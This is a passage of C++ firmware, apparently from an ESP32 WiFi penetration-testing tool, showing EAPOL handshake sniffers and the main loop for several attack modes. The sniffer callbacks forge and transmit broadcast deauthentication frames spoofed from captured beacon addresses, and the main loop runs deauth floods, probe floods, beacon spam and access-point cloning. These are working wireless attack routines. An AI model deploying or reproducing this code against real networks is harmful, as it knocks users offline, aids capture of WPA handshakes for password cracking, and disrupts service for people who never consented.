  1997. }
  1998. //Serial.print(" ");
  1999. #ifdef MARAUDER_MINI
  2000. if (display_obj.display_buffer->size() == 0)
  2001. {
  2002. display_obj.loading = true;
  2003. display_obj.display_buffer->add(display_string);
  2004. display_obj.loading = false;
  2005. }
  2006. #endif
  2007. #endif
  2008. if (save_packet)
  2009. sd_obj.addPacket(snifferPacket->payload, len);
  2010. }
  2011. }
  2012. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2013. {
  2014. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2015. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2016. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2017. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2018. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2019. int len = snifferPacket->rx_ctrl.sig_len;
  2020. String display_string = "";
  2021. if (type == WIFI_PKT_MGMT)
  2022. {
  2023. len -= 4;
  2024. int fctl = ntohs(frameControl->fctl);
  2025. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2026. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2027. }
  2028. #ifdef HAS_SCREEN
  2029. int buff = display_obj.display_buffer->size();
  2030. #else
  2031. int buff = 0;
  2032. #endif
  2033. // Found beacon frame. Decide whether to deauth
  2034. if (send_deauth) {
  2035. if (snifferPacket->payload[0] == 0x80) {
  2036. // Build packet
  2037. uint8_t new_packet[26] = {
  2038. 0xc0, 0x00, 0x3a, 0x01,
  2039. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2040. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2041. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2042. 0xf0, 0xff, 0x02, 0x00
  2043. };
  2044. new_packet[10] = snifferPacket->payload[10];
  2045. new_packet[11] = snifferPacket->payload[11];
  2046. new_packet[12] = snifferPacket->payload[12];
  2047. new_packet[13] = snifferPacket->payload[13];
  2048. new_packet[14] = snifferPacket->payload[14];
  2049. new_packet[15] = snifferPacket->payload[15];
  2050. new_packet[16] = snifferPacket->payload[10];
  2051. new_packet[17] = snifferPacket->payload[11];
  2052. new_packet[18] = snifferPacket->payload[12];
  2053. new_packet[19] = snifferPacket->payload[13];
  2054. new_packet[20] = snifferPacket->payload[14];
  2055. new_packet[21] = snifferPacket->payload[15];
  2056. // Send packet
  2057. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2058. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2059. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2060. delay(1);
  2061. }
  2062. }
  2063. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2064. num_eapol++;
  2065. Serial.println("Received EAPOL:");
  2066. char addr[] = "00:00:00:00:00:00";
  2067. getMAC(addr, snifferPacket->payload, 10);
  2068. display_string.concat(addr);
  2069. int temp_len = display_string.length();
  2070. #ifdef HAS_SCREEN
  2071. for (int i = 0; i < 40 - temp_len; i++)
  2072. {
  2073. display_string.concat(" ");
  2074. }
  2075. Serial.print(" ");
  2076. #ifdef MARAUDER_MINI
  2077. if (display_obj.display_buffer->size() == 0)
  2078. {
  2079. display_obj.loading = true;
  2080. display_obj.display_buffer->add(display_string);
  2081. display_obj.loading = false;
  2082. }
  2083. #endif
  2084. #endif
  2085. // for (int i = 0; i < len; i++) {
  2086. // char hexCar[4];
  2087. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2088. // Serial.print(hexCar);
  2089. //Serial.print(snifferPacket->payload[i], HEX);
  2090. // if ((i + 1) % 16 == 0)
  2091. // Serial.print("\n");
  2092. // else
  2093. // Serial.print(" ");
  2094. // }
  2095. // Serial.print("\n");
  2096. }
  2097. if (save_packet)
  2098. sd_obj.addPacket(snifferPacket->payload, len);
  2099. }
  2100. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2101. {
  2102. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2103. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2104. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2105. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2106. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2107. int len = snifferPacket->rx_ctrl.sig_len;
  2108. if (type == WIFI_PKT_MGMT)
  2109. {
  2110. len -= 4;
  2111. int fctl = ntohs(frameControl->fctl);
  2112. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2113. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2114. }
  2115. // Found beacon frame. Decide whether to deauth
  2116. if (snifferPacket->payload[0] == 0x80) {
  2117. // Build packet
  2118. //Serial.println("Recieved beacon frame");
  2119. uint8_t new_packet[26] = {
  2120. 0xc0, 0x00, 0x3a, 0x01,
  2121. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2122. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2123. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2124. 0xf0, 0xff, 0x02, 0x00
  2125. };
  2126. new_packet[10] = snifferPacket->payload[10];
  2127. new_packet[11] = snifferPacket->payload[11];
  2128. new_packet[12] = snifferPacket->payload[12];
  2129. new_packet[13] = snifferPacket->payload[13];
  2130. new_packet[14] = snifferPacket->payload[14];
  2131. new_packet[15] = snifferPacket->payload[15];
  2132. new_packet[16] = snifferPacket->payload[10];
  2133. new_packet[17] = snifferPacket->payload[11];
  2134. new_packet[18] = snifferPacket->payload[12];
  2135. new_packet[19] = snifferPacket->payload[13];
  2136. new_packet[20] = snifferPacket->payload[14];
  2137. new_packet[21] = snifferPacket->payload[15];
  2138. // Send packet
  2139. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2140. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2141. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2142. delay(1);
  2143. }
  2144. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2145. num_eapol++;
  2146. Serial.println("Received EAPOL:");
  2147. // for (int i = 0; i < len; i++) {
  2148. // char hexCar[3];
  2149. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2150. // Serial.print(hexCar);
  2151. //Serial.print(snifferPacket->payload[i], HEX);
  2152. // if ((i + 1) % 16 == 0)
  2153. // Serial.print("\n");
  2154. // else
  2155. // Serial.print(" ");
  2156. // }
  2157. // Serial.print("\n");
  2158. }
  2159. if (save_packet)
  2160. sd_obj.addPacket(snifferPacket->payload, len);
  2161. }
  2162. #ifdef HAS_SCREEN
  2163. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2164. {
  2165. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2166. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2167. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2168. {
  2169. currentTime = millis();
  2170. do_break = false;
  2171. y_pos_x = 0;
  2172. y_pos_y = 0;
  2173. y_pos_z = 0;
  2174. boolean pressed = false;
  2175. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2176. // Do the touch stuff
  2177. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2178. if (pressed) {
  2179. Serial.print("Got touch | X: ");
  2180. Serial.print(t_x);
  2181. Serial.print(" Y: ");
  2182. Serial.println(t_y);
  2183. }
  2184. // Check buttons for presses
  2185. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2186. {
  2187. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2188. {
  2189. display_obj.key[b].press(true);
  2190. } else {
  2191. display_obj.key[b].press(false);
  2192. }
  2193. }
  2194. // Which buttons pressed
  2195. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2196. {
  2197. if (display_obj.key[b].justPressed())
  2198. {
  2199. Serial.println("Bro, key pressed");
  2200. //do_break = true;
  2201. }
  2202. if (display_obj.key[b].justReleased())
  2203. {
  2204. do_break = true;
  2205. // Channel - button pressed
  2206. if (b == 4) {
  2207. if (set_channel > 1) {
  2208. Serial.println("Shit channel down");
  2209. set_channel--;
  2210. delay(70);
  2211. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2212. //display_obj.tftDrawXScaleButtons(x_scale);
  2213. //display_obj.tftDrawYScaleButtons(y_scale);
  2214. display_obj.tftDrawChannelScaleButtons(set_channel);
  2215. display_obj.tftDrawExitScaleButtons();
  2216. changeChannel();
  2217. break;
  2218. }
  2219. }
  2220. // Channel + button pressed
  2221. else if (b == 5) {
  2222. if (set_channel < MAX_CHANNEL) {
  2223. Serial.println("Shit channel up");
  2224. set_channel++;
  2225. delay(70);
  2226. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2227. //display_obj.tftDrawXScaleButtons(x_scale);
  2228. //display_obj.tftDrawYScaleButtons(y_scale);
  2229. display_obj.tftDrawChannelScaleButtons(set_channel);
  2230. display_obj.tftDrawExitScaleButtons();
  2231. changeChannel();
  2232. break;
  2233. }
  2234. }
  2235. else if (b == 6) {
  2236. Serial.println("Exiting packet monitor...");
  2237. this->StartScan(WIFI_SCAN_OFF);
  2238. //display_obj.tft.init();
  2239. this->orient_display = true;
  2240. return;
  2241. }
  2242. }
  2243. }
  2244. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2245. //Serial.println("-----------------------------------------");
  2246. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2247. x_pos += x_scale;
  2248. initTime = millis();
  2249. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2250. if (y_pos_x >= HEIGHT_1) {
  2251. Serial.println("Max EAPOL number reached. Adjusting...");
  2252. num_eapol = 0;
  2253. }
  2254. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2255. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2256. //Serial.println("num_beacon: " + (String)num_beacon);
  2257. //Serial.println("num_deauth: " + (String)num_deauth);
  2258. //Serial.println(" num_probe: " + (String)num_probe);
  2259. //num_beacon = 0;
  2260. //num_probe = 0;
  2261. //num_deauth = 0;
  2262. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2263. //Plot "X" value
  2264. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2265. //Plot "Z" value
  2266. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2267. //Plot "Y" value
  2268. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2269. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2270. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2271. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2272. {
  2273. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2274. }
  2275. else
  2276. {
  2277. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2278. }
  2279. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2280. //if (x_pos <= 90)
  2281. if (x_pos < 0) // below x axis
  2282. {
  2283. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2284. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2285. }
  2286. else
  2287. {
  2288. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2289. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2290. }
  2291. //tftDisplayTime();
  2292. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2293. {
  2294. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2295. }
  2296. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2297. //y_pos_y_old = y_pos_y;
  2298. //y_pos_z_old = y_pos_z;
  2299. //delay(50);
  2300. }
  2301. sd_obj.main();
  2302. }
  2303. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2304. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2305. display_obj.tftDrawChannelScaleButtons(set_channel);
  2306. display_obj.tftDrawExitScaleButtons();
  2307. display_obj.tftDrawEapolColorKey();
  2308. display_obj.tftDrawGraphObjects(x_scale);
  2309. }
  2310. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2311. {
  2312. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2313. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2314. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2315. {
  2316. currentTime = millis();
  2317. do_break = false;
  2318. y_pos_x = 0;
  2319. y_pos_y = 0;
  2320. y_pos_z = 0;
  2321. boolean pressed = false;
  2322. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2323. // Do the touch stuff
  2324. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2325. if (pressed) {
  2326. Serial.print("Got touch | X: ");
  2327. Serial.print(t_x);
  2328. Serial.print(" Y: ");
  2329. Serial.println(t_y);
  2330. }
  2331. // Check buttons for presses
  2332. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2333. {
  2334. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2335. {
  2336. display_obj.key[b].press(true);
  2337. } else {
  2338. display_obj.key[b].press(false);
  2339. }
  2340. }
  2341. // Which buttons pressed
  2342. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2343. {
  2344. if (display_obj.key[b].justPressed())
  2345. {
  2346. Serial.println("Bro, key pressed");
  2347. //do_break = true;
  2348. }
  2349. if (display_obj.key[b].justReleased())
  2350. {
  2351. do_break = true;
  2352. // X - button pressed
  2353. if (b == 0) {
  2354. if (x_scale > 1) {
  2355. x_scale--;
  2356. delay(70);
  2357. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2358. display_obj.tftDrawXScaleButtons(x_scale);
  2359. display_obj.tftDrawYScaleButtons(y_scale);
  2360. display_obj.tftDrawChannelScaleButtons(set_channel);
  2361. display_obj.tftDrawExitScaleButtons();
  2362. break;
  2363. }
  2364. }
  2365. // X + button pressed
  2366. else if (b == 1) {
  2367. if (x_scale < 6) {
  2368. x_scale++;
  2369. delay(70);
  2370. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2371. display_obj.tftDrawXScaleButtons(x_scale);
  2372. display_obj.tftDrawYScaleButtons(y_scale);
  2373. display_obj.tftDrawChannelScaleButtons(set_channel);
  2374. display_obj.tftDrawExitScaleButtons();
  2375. break;
  2376. }
  2377. }
  2378. // Y - button pressed
  2379. else if (b == 2) {
  2380. if (y_scale > 1) {
  2381. y_scale--;
  2382. delay(70);
  2383. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2384. display_obj.tftDrawXScaleButtons(x_scale);
  2385. display_obj.tftDrawYScaleButtons(y_scale);
  2386. display_obj.tftDrawChannelScaleButtons(set_channel);
  2387. display_obj.tftDrawExitScaleButtons();
  2388. //updateMidway();
  2389. break;
  2390. }
  2391. }
  2392. // Y + button pressed
  2393. else if (b == 3) {
  2394. if (y_scale < 9) {
  2395. y_scale++;
  2396. delay(70);
  2397. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2398. display_obj.tftDrawXScaleButtons(x_scale);
  2399. display_obj.tftDrawYScaleButtons(y_scale);
  2400. display_obj.tftDrawChannelScaleButtons(set_channel);
  2401. display_obj.tftDrawExitScaleButtons();
  2402. //updateMidway();
  2403. break;
  2404. }
  2405. }
  2406. // Channel - button pressed
  2407. else if (b == 4) {
  2408. if (set_channel > 1) {
  2409. Serial.println("Shit channel down");
  2410. set_channel--;
  2411. delay(70);
  2412. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2413. display_obj.tftDrawXScaleButtons(x_scale);
  2414. display_obj.tftDrawYScaleButtons(y_scale);
  2415. display_obj.tftDrawChannelScaleButtons(set_channel);
  2416. display_obj.tftDrawExitScaleButtons();
  2417. changeChannel();
  2418. break;
  2419. }
  2420. }
  2421. // Channel + button pressed
  2422. else if (b == 5) {
  2423. if (set_channel < MAX_CHANNEL) {
  2424. Serial.println("Shit channel up");
  2425. set_channel++;
  2426. delay(70);
  2427. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2428. display_obj.tftDrawXScaleButtons(x_scale);
  2429. display_obj.tftDrawYScaleButtons(y_scale);
  2430. display_obj.tftDrawChannelScaleButtons(set_channel);
  2431. display_obj.tftDrawExitScaleButtons();
  2432. changeChannel();
  2433. break;
  2434. }
  2435. }
  2436. else if (b == 6) {
  2437. Serial.println("Exiting packet monitor...");
  2438. this->StartScan(WIFI_SCAN_OFF);
  2439. //display_obj.tft.init();
  2440. this->orient_display = true;
  2441. return;
  2442. }
  2443. }
  2444. }
  2445. if (currentTime - initTime >= GRAPH_REFRESH) {
  2446. //Serial.println("-----------------------------------------");
  2447. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2448. x_pos += x_scale;
  2449. initTime = millis();
  2450. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2451. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2452. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2453. //Serial.println("num_beacon: " + (String)num_beacon);
  2454. //Serial.println("num_deauth: " + (String)num_deauth);
  2455. //Serial.println(" num_probe: " + (String)num_probe);
  2456. num_beacon = 0;
  2457. num_probe = 0;
  2458. num_deauth = 0;
  2459. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2460. //Plot "X" value
  2461. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2462. //Plot "Z" value
  2463. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2464. //Plot "Y" value
  2465. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2466. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2467. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2468. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2469. {
  2470. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2471. }
  2472. else
  2473. {
  2474. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2475. }
  2476. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2477. //if (x_pos <= 90)
  2478. if (x_pos < 0) // below x axis
  2479. {
  2480. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2481. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2482. }
  2483. else
  2484. {
  2485. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2486. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2487. }
  2488. //tftDisplayTime();
  2489. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2490. {
  2491. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2492. }
  2493. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2494. y_pos_y_old = y_pos_y;
  2495. y_pos_z_old = y_pos_z;
  2496. //delay(50);
  2497. }
  2498. sd_obj.main();
  2499. }
  2500. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2501. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2502. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2503. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2504. display_obj.tftDrawYScaleButtons(y_scale);
  2505. display_obj.tftDrawChannelScaleButtons(set_channel);
  2506. display_obj.tftDrawExitScaleButtons();
  2507. display_obj.tftDrawColorKey();
  2508. display_obj.tftDrawGraphObjects(x_scale);
  2509. }
  2510. #endif
  2511. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2512. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2513. // showMetadata(snifferPacket, type);
  2514. //}
  2515. void WiFiScan::changeChannel(int chan) {
  2516. this->set_channel = chan;
  2517. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2518. delay(1);
  2519. }
  2520. void WiFiScan::changeChannel()
  2521. {
  2522. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2523. delay(1);
  2524. }
  2525. // Function to cycle to the next channel
  2526. void WiFiScan::channelHop()
  2527. {
  2528. this->set_channel = this->set_channel + 1;
  2529. if (this->set_channel > 13) {
  2530. this->set_channel = 1;
  2531. }
  2532. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2533. delay(1);
  2534. }
  2535. char* WiFiScan::stringToChar(String string) {
  2536. char buf[string.length() + 1] = {};
  2537. string.toCharArray(buf, string.length() + 1);
  2538. return buf;
  2539. }
  2540. // Function for updating scan status
  2541. void WiFiScan::main(uint32_t currentTime)
  2542. {
  2543. // WiFi operations
  2544. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2545. (currentScanMode == WIFI_SCAN_AP) ||
  2546. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2547. (currentScanMode == WIFI_SCAN_PWN) ||
  2548. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2549. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2550. (currentScanMode == WIFI_SCAN_ALL))
  2551. {
  2552. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2553. {
  2554. initTime = millis();
  2555. channelHop();
  2556. }
  2557. }
  2558. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2559. {
  2560. #ifdef HAS_SCREEN
  2561. #ifndef MARAUDER_MINI
  2562. packetMonitorMain(currentTime);
  2563. #endif
  2564. #endif
  2565. }
  2566. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2567. {
  2568. #ifdef HAS_SCREEN
  2569. #ifndef MARAUDER_MINI
  2570. eapolMonitorMain(currentTime);
  2571. #endif
  2572. #endif
  2573. }
  2574. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2575. {
  2576. #ifdef HAS_SCREEN
  2577. eapolMonitorMain(currentTime);
  2578. #endif
  2579. }
  2580. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2581. for (int i = 0; i < 55; i++)
  2582. this->sendProbeAttack(currentTime);
  2583. if (currentTime - initTime >= 1000) {
  2584. initTime = millis();
  2585. String displayString = "";
  2586. String displayString2 = "";
  2587. displayString.concat(text18);
  2588. displayString.concat(packets_sent);
  2589. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2590. displayString2.concat(" ");
  2591. #ifdef HAS_SCREEN
  2592. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2593. display_obj.showCenterText(displayString2, 160);
  2594. display_obj.showCenterText(displayString, 160);
  2595. #endif
  2596. packets_sent = 0;
  2597. }
  2598. }
  2599. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2600. for (int i = 0; i < 55; i++)
  2601. this->sendDeauthAttack(currentTime);
  2602. if (currentTime - initTime >= 1000) {
  2603. initTime = millis();
  2604. String displayString = "";
  2605. String displayString2 = "";
  2606. displayString.concat(text18);
  2607. displayString.concat(packets_sent);
  2608. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2609. displayString2.concat(" ");
  2610. #ifdef HAS_SCREEN
  2611. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2612. display_obj.showCenterText(displayString2, 160);
  2613. display_obj.showCenterText(displayString, 160);
  2614. #endif
  2615. packets_sent = 0;
  2616. }
  2617. }
  2618. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2619. // Need this for loop because getTouch causes ~10ms delay
  2620. // which makes beacon spam less effective
  2621. for (int i = 0; i < access_points->size(); i++) {
  2622. if (access_points->get(i).selected)
  2623. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2624. random(256),
  2625. random(256),
  2626. random(256),
  2627. random(256),
  2628. random(256)}});
  2629. }
  2630. if (currentTime - initTime >= 1000)
  2631. {
  2632. initTime = millis();
  2633. //Serial.print("packets/sec: ");
  2634. //Serial.println(packets_sent);
  2635. String displayString = "";
  2636. String displayString2 = "";
  2637. displayString.concat(text18);
  2638. displayString.concat(packets_sent);
  2639. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2640. displayString2.concat(" ");
  2641. #ifdef HAS_SCREEN
  2642. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2643. display_obj.showCenterText(displayString2, 160);
  2644. display_obj.showCenterText(displayString, 160);
  2645. #endif
  2646. packets_sent = 0;
  2647. }
  2648. }
  2649. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2650. {
  2651. // Need this for loop because getTouch causes ~10ms delay
  2652. // which makes beacon spam less effective
  2653. for (int i = 0; i < 55; i++)
  2654. broadcastRandomSSID(currentTime);
  2655. if (currentTime - initTime >= 1000)
  2656. {
  2657. initTime = millis();
  2658. //Serial.print("packets/sec: ");
  2659. //Serial.println(packets_sent);
  2660. String displayString = "";
  2661. String displayString2 = "";
  2662. displayString.concat(text18);
  2663. displayString.concat(packets_sent);
  2664. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2665. displayString2.concat(" ");
  2666. #ifdef HAS_SCREEN
  2667. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2668. display_obj.showCenterText(displayString2, 160);
  2669. display_obj.showCenterText(displayString, 160);
  2670. #endif
  2671. packets_sent = 0;
  2672. }
  2673. }
  2674. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2675. for (int i = 0; i < ssids->size(); i++)
  2676. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2677. if (currentTime - initTime >= 1000)
  2678. {
  2679. initTime = millis();
  2680. packets_sent = 0;
  2681. }
  2682. }
  2683. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2684. for (int i = 0; i < access_points->size(); i++) {
  2685. if (access_points->get(i).selected)
  2686. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2687. }
  2688. if (currentTime - initTime >= 1000) {
  2689. initTime = millis();
  2690. packets_sent = 0;
  2691. }
  2692. }
  2693. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2694. {
  2695. // Need this for loop because getTouch causes ~10ms delay
  2696. // which makes beacon spam less effective
  2697. for (int i = 0; i < 7; i++)
  2698. {
  2699. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2700. {
  2701. broadcastSetSSID(currentTime, rick_roll[x]);
  2702. }
  2703. }
  2704. if (currentTime - initTime >= 1000)
  2705. {
  2706. initTime = millis();
  2707. //Serial.print("packets/sec: ");
  2708. //Serial.println(packets_sent);
  2709. String displayString = "";
  2710. String displayString2 = "";
  2711. displayString.concat(text18);
  2712. displayString.concat(packets_sent);
  2713. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2714. displayString2.concat(" ");
  2715. #ifdef HAS_SCREEN
  2716. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2717. display_obj.showCenterText(displayString2, 160);
  2718. display_obj.showCenterText(displayString, 160);
  2719. #endif
  2720. packets_sent = 0;
  2721. }
  2722. }
  2723. }